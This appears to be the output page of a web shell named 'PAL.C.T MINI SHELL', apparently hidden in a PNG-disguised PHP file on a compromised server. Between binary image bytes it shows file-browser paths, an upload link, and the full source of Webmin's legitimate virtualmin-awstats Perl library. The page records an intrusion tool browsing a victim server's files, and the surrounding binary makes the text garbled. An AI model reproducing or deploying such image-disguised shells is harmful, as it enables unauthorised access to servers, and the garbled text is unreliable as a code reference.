php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/virtualmin-awstats/
upload
files >> //usr/libexec/webmin/virtualmin-awstats/virtualmin-awstats-lib.pl

# Functions for configuring AWstats

BEGIN { push(@INC, ".."); };
eval "use WebminCore;";
&init_config();
%access = &get_module_acl();

$cron_cmd = "$module_config_directory/awstats.pl";
$run_as_file = "$module_config_directory/runas";

# list_configs()
# Returns a list of domains for which AWstats is configured
sub list_configs
{
local @rv;
local $dir = &translate_filename($config{'config_dir'});
opendir(DIR, $dir);
foreach my $f (readdir(DIR)) {
	if ($f =~ /^awstats\.(\S+)\.conf$/ && !-l "$dir/$f") {
		push(@rv, $1);
		}
	}
closedir(DIR);
return @rv;
}

# get_config(domain)
# Parses the AWstats configuration for some virtual server into a array ref of
# values.
sub get_config
{
local ($dom) = @_;
if (!defined($get_config_cache{$dom})) {
	local @rv;
	local $lnum = 0;
	local $cfile = &get_config_file($dom);
	&open_readfile(FILE, $cfile) || &error("Failed to open $cfile : $!");
	while(<FILE>) {
		s/\r|\n//g;
		s/^\s*#.*$//;
		if (/^([^=]+)\s*=\s*"(.*)"/ ||
		    /^([^=]+)\s*=\s*'(.*)'/ ||
		    /^([^=]+)\s*=\s*(\S*)/) {
			# Found a directive
			push(@rv, { 'name' => $1,
				    'value' => $2,
				    'line' => $lnum });
			}
		$lnum++;
		}
	close(FILE);
	$get_config_cache{$dom} = \@rv;
	}
return $get_config_cache{$dom};
}

# get_config_file(domain)
# Returns the AWstats config file for some domain
sub get_config_file
{
return "$config{'config_dir'}/awstats.$_[0].conf";
}

# find_value(name, &conf)
# Returns the value of some AWstats directive
sub find_value
{
local ($name, $conf) = @_;
local ($dir) = grep { lc($_->{'name'}) eq lc($name) } @$conf;
return $dir ? $dir->{'value'} : undef;
}

# find_values(name, &conf)
# Returns all values for some directive
sub find_values
{
local ($name, $conf) = @_;
local @dirs = grep { lc($_->{'name'}) eq lc($name) } @$conf;
return map { $_->{'value'} } @dirs;
}

# save_directive(&config, domain, name, value)
# Updates some value in the AWstats config
sub save_directive
{
local ($conf, $dom, $name, $value) = @_;
local $file = &get_config_file($dom);
local $lref = &read_file_lines($file);
local ($dir) = grep { lc($_->{'name'}) eq lc($name) } @$conf;
local $line;
if (defined($value)) {
	$line = $value =~ /\s/ && $value =~ /"/ ?
		"$name='$value'" :
		$value =~ /\s/ ? "$name=\"$value\"" : "$name=$value";
	}
if ($dir && defined($value)) {
	# Update file
	$lref->[$dir->{'line'}] = $line;
	$dir->{'value'} = $value;
	}
elsif ($dir && !defined($value)) {
	# Delete from file
	splice(@$lref, $dir->{'line'}, 1);
	foreach my $c (@$conf) {
		if ($c->{'line'} > $dir->{'line'}) { $c->{'line'}--; }
		}
	@$conf = grep { $_ ne $dir } @$conf;
	}
elsif (!$dir && defined($value)) {
	# Add to file
	push(@$conf, { 'name' => $name,
		       'value' => $value,
		       'line' => scalar(@$lref) });
	push(@$lref, $line);
	}
}

# save_directives(&config, domain, name, &values)
# Updates all values for some named directive in the config file
sub save_directives
{
local ($conf, $dom, $name, $values) = @_;
local @values = @$values;
local $file = &get_config_file($dom);
local $lref = &read_file_lines($file);

foreach my $l (@$lref) {
	if ($l =~ /^(#*)\s*\Q$name\E\s*=\s*(.*)/i) {
		# Found an existing line, perhaps commented
		local ($cmt, $oldv) = ($1, $2);
		$oldv = $oldv =~ /^"(.*)"/ ? $1 :
			$oldv =~ /^'(.*)'/ ? $1 : $oldv;
		local $idx = &indexof($oldv, @values);
		if ($idx >= 0 && !$cmt) {
			# Already enabled, so do nothing
			}
		elsif ($idx >= 0 && $cmt) {
			# Commented out .. fix up
			$l =~ s/^#+\s*//;
			}
		elsif ($idx < 0 && !$cmt) {
			# No longer needed .. comment out
			$l = "#$l";
			}
		if ($idx >= 0) {
			splice(@values, $idx, 1);
			}
		}
	}

# Append any values not in the file at all yet
foreach my $v (@values) {
	$line = $v =~ /\s/ && $v =~ /"/ ?
		"$name='$v'" :
		$v =~ /\s/ ? "$name=\"$v\"" : "$name=$v";
	push(@$lref, $line);
	}
}

# delete_config(domain)
# Deletes the config for one domain
sub delete_config
{
local ($dom) = @_;
&unlink_logged(&get_config_file("www.".$dom));
&unlink_logged(&get_config_file($dom));
}

# can_domain(domain)
# Returns 1 if the current user can manage some AWstats domain
sub can_domain
{
return 1 if ($access{'domains'} eq '*');
local %can = map { $_, 1 } split(/\s+/, $access{'domains'});
return $can{$_[0]};
}

# awstats_model_file()
# Returns the full path to the template AWstats config file, or undef if none
sub awstats_model_file
{
foreach my $f ("awstats.model.conf", "awstats.conf") {
	local $p = "$config{'config_dir'}/$f";
	return $p if (-r $p);
	}
return undef;
}

# Returns an error message if awstats is missing
sub check_awstats
{
return &text('check_ecmd', "<tt>$config{'awstats'}</tt>")
	if (!&has_command($config{'awstats'}));
return &text('check_edir', "<tt>$config{'config_dir'}</tt>")
	if (!-d $config{'config_dir'});
return &text('check_econs', "<tt>$config{'icons'}</tt>")
	if (!-d $config{'icons'});
return &text('check_emodel',
	     "<tt>$config{'config_dir'}/awstats.model.conf</tt>")
	if (!&awstats_model_file());
return undef;
}

# find_cron_job(domain)
# Finds the Cron job that generates stats for some domain
sub find_cron_job
{
local ($dom) = @_;
local @jobs = &cron::list_cron_jobs();
local ($job) = grep { $_->{'user'} eq 'root' &&
		      $_->{'command'} eq "$cron_cmd $dom" } @jobs;
return $job;
}

# get_run_user(domain)
# Returns the user to run awstats as for some domain, from the module's
# internal list
sub get_run_user
{
local %runas;
&read_file_cached($run_as_file, \%runas);
return $runas{$_[0]} || "root";
}

# save_run_user(domain, user)
sub save_run_user
{
local %runas;
&read_file_cached($run_as_file, \%runas);
$runas{$_[0]} = $_[1];
&write_file($run_as_file, \%runas);
}

# rename_run_domain(domain, olddomain)
sub rename_run_domain
{
local %runas;
&read_file_cached($run_as_file, \%runas);
if ($runas{$_[1]}) {
	$runas{$_[0]} = $runas{$_[1]};
	delete($runas{$_[1]});
	}
&write_file($run_as_file, \%runas);
}

# delete_run_user(domain)
sub delete_run_user
{
local %runas;
&read_file_cached($run_as_file, \%runas);
delete($runas{$_[0]});
&write_file($run_as_file, \%runas);
}

# generate_report(domain, handle, html-escape?)
# Updates the AWstats report for a particular domain, from all of its
# log files (or at least those that have changed since the last run)
sub generate_report
{
local ($dom, $fh, $esc) = @_;
local $user = &get_run_user($dom);
local $cmd = "$config{'awstats'} -config=$dom -update";
$ENV{'GATEWAY_INTERFACE'} = undef;

# Find all the log files
local $conf = &get_config($dom);
local $baselog = &find_value("LogFile", $conf);
local @all = $baselog =~ /\|\s*$/ ? ( undef ) : &all_log_files($baselog);

# Find last modified time for each log file
local ($a, %mtime);
foreach $a (@all) {
	local @st = stat($a);
	$mtime{$a} = $st[9];
	}

# Do each log file that we haven't already done
local $anyok = 0;
foreach $a (sort { $mtime{$a} <=> $mtime{$b} } @all) {
	local $fullcmd = $cmd;
	if ($a =~ /\.gz$/i) {
		$fullcmd .= " -logfile=".quotemeta("gunzip -c $a |");
		}
	elsif ($a =~ /\.Z$/i) {
		$fullcmd .= " -logfile=".quotemeta("uncompress -c $a |");
		}
	elsif ($a =~ /\.bz2$/i) {
		$fullcmd .= " -logfile=".quotemeta("bunzip -c $a |");
		}
	elsif ($a) {
		$fullcmd .= " -logfile=".quotemeta($a);
		}
	if ($user ne "root") {
		$fullcmd = &command_as_user($user, 0, $fullcmd);
		}
	$fullcmd .= " 2>&1";
	&open_execute_command(OUT, $fullcmd, 1, 0);
	while(<OUT>) {
		if ($esc) {
			print $fh &html_escape($_);
			}
		else {
			print $fh $_;
			}
		}
	close(OUT);
	$anyok = 1 if (!$?);
	&additional_log("exec", undef, $fullcmd);
	}

# Link all awstatsXXXX.domain.txt files to awstatsXXXX.www.domain.txt , so
# that the URL www.domain.com/awstats/awstats.pl works
local $dirdata = &find_value("DirData", $conf);
&link_domain_alias_data($dom, $dirdata, $user);

return $anyok;
}

# link_domain_alias_data(domain, data-dir, user)
# Create symlinks from all awstatsXXXX.domain.txt files to
# awstatsXXXX.www.domain.txt , so that the URL
# www.domain.com/awstats/awstats.pl works. If the domain is used by Virtualmin,
# alias link up any aliases of this domain
sub link_domain_alias_data
{
local ($dom, $dirdata, $user) = @_;
local @otherdoms = ( "www.".$dom );
if (&foreign_check("virtual-server")) {
	&foreign_require("virtual-server", "virtual-server-lib.pl");
	local $d = &virtual_server::get_domain_by("dom", $dom);
	if ($d) {
		foreach my $ad (&virtual_server::get_domain_by(
				"alias", $d->{'id'})) {
			push(@otherdoms, $ad->{'dom'}, "www.".$ad->{'dom'});
			}
		}
	}
opendir(DIRDATA, $dirdata);
foreach my $f (readdir(DIRDATA)) {
	if ($f =~ /^awstats(\d+)\.\Q$dom\E\.txt$/) {
		foreach my $other (@otherdoms) {
			local $wwwf = "awstats".$1.".".$other.".txt";
			if (!-r "$dirdata/$wwwf") {
				&symlink_logged($f, "$dirdata/$wwwf");
				&set_ownership_permissions($user, undef, undef,
							   "$dirdata/$wwwf");
				}
			}
		}
	}
closedir(DIRDATA);
}

# unlink_domain_alias_data(domain-name, directory)
# Remove any symbolic links for AWstats data files for some domain
sub unlink_domain_alias_data
{
local ($aliasdom, $dirdata) = @_;
opendir(DIRDATA, $dirdata);
foreach my $f (readdir(DIRDATA)) {
	if ($f =~ /^awstats(\d+)\.(www\.)?\Q$aliasdom\E\.txt$/) {
		&unlink_logged("$dirdata/$f");
		}
	}
closedir(DIRDATA);
}

# all_log_files(file)
# Given a base log file name, returns a list of all log files in the same
# directory that start with the same name
sub all_log_files
{
$_[0] =~ /^(.*)\/([^\/]+)$/;
local $dir = $1;
local $base = $2;
local ($f, @rv);
opendir(DIR, $dir);
foreach $f (readdir(DIR)) {
	if ($f =~ /^\Q$base\E/ && -f "$dir/$f") {
		push(@rv, "$dir/$f");
		}
	}
closedir(DIR);
return @rv;
}

# setup_awstats_commands(&domain)
# Copy awstats.pl and associated lib and data files into a domain's directory
sub setup_awstats_commands
{
local ($d) = @_;

# Create an awstats.pl wrapper in the cgi-bin directory. Linking doesn't work,
# due to suexec restrictions
local $cgidir = &get_cgidir($d);
local $wrapper = "$cgidir/awstats.pl";
&lock_file($wrapper);
&virtual_server::open_tempfile_as_domain_user($d, WRAPPER, ">$wrapper");
&print_tempfile(WRAPPER, "#!/bin/sh\n");
&print_tempfile(WRAPPER, "exec $config{'awstats'}\n");
&virtual_server::close_tempfile_as_domain_user($d, WRAPPER);
&virtual_server::set_permissions_as_domain_user($d, 0755, $wrapper);
&unlock_file($wrapper);

# Link other directories from source dir
foreach my $dir ("lib", "lang", "plugins") {
	local $src;
	if ($config{$dir} && -d $config{$dir}) {
		# Specific directory is in config .. use it
		$src = $config{$dir};
		$src .= "/$dir" if ($src !~ /\/\Q$dir\E$/);
		}
	if (!$src || !-d $src) {
		# Use same directory as awstats.pl
		$config{'awstats'} =~ /^(.*)\//;
		$src = $1;
		$src .= "/$dir" if ($src !~ /\/\Q$dir\E$/);
		}
	if ($src && -d $src) {
		&virtual_server::unlink_logged_as_domain_user(
			$d, "$cgidir/$dir");
		&virtual_server::symlink_logged_as_domain_user(
			$d, $src, "$cgidir/$dir");
		}
	}

# Copy over icons directory
local $htmldir = &get_htmldir($d);
local @dirs = ( "icon", "awstats-icon", "awstatsicons" );
if (!-d "$htmldir/$dirs[0]") {
	&virtual_server::unlink_logged_as_domain_user($d,
		map { "$htmldir/$_" } @dirs);
	if ($virtual_server::config{'allow_symlinks'} eq '1') {
		# Can still use links
		foreach my $dir (@dirs) {
			&virtual_server::symlink_logged_as_domain_user(
				$d, $config{'icons'}, "$htmldir/$dir");
			}
		}
	else {
		# Need to copy and chown
		&copy_source_dest($config{'icons'}, "$htmldir/$dirs[0]");
		&system_logged("chown -R $d->{'uid'}:$d->{'gid'} ".
			       quotemeta("$htmldir/$dirs[0]"));
		foreach my $dir (@dirs[1..$#dirs]) {
			&virtual_server::symlink_logged_as_domain_user(
				$d, $dirs[0], "$htmldir/$dir");
			}
		}
	}

return undef;
}

# get_plugins_dir()
# Returns the directory in which plugins are stored
sub get_plugins_dir
{
local $pdir = $config{'plugins'};
if ($pdir && -d "$pdir/plugins") {
	$pdir .= "/plugins";
	}
if (!$pdir) {
	# In same dir as awstats.pl
	$config{'awstats'} =~ /^(.*)\//;
	$pdir = "$1/plugins";
	}
return $pdir;
}

# list_all_plugins()
# Returns a list of all available plugins, without the .pm extensions
sub list_all_plugins
{
local $pdir = &get_plugins_dir();
local @rv;
opendir(PLUGINS, $pdir);
foreach my $f (readdir(PLUGINS)) {
	if ($f =~ /^(\S+)\.pm$/) {
		push(@rv, $1);
		}
	}
closedir(PLUGINS);
return @rv;
}

# get_plugin_desc()
# Returns a human-readable description for some plugin
sub get_plugin_desc
{
local ($name) = @_;
local $file = &get_plugins_dir()."/".$name.".pm";
local $lref = &read_file_lines($file, 1);
local @cmts;
foreach my $l (@$lref) {
	if ($l =~ /^\#+\s*(.*)/ &&
	    $l !~ /^#!/ &&
	    $l !~ /^#+\s*\-\-/ &&
	    $l !~ /^#+\s*\$/ &&
	    $l !~ /^#+\s*\Q$name\E\s+AWStats\s+plugin/i &&
	    $l !~ /Required\s+Modules/i) {
		push(@cmts, $1);
		}
	last if ($l !~ /^#/);
	}
return join(" ", @cmts);
}


1;

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`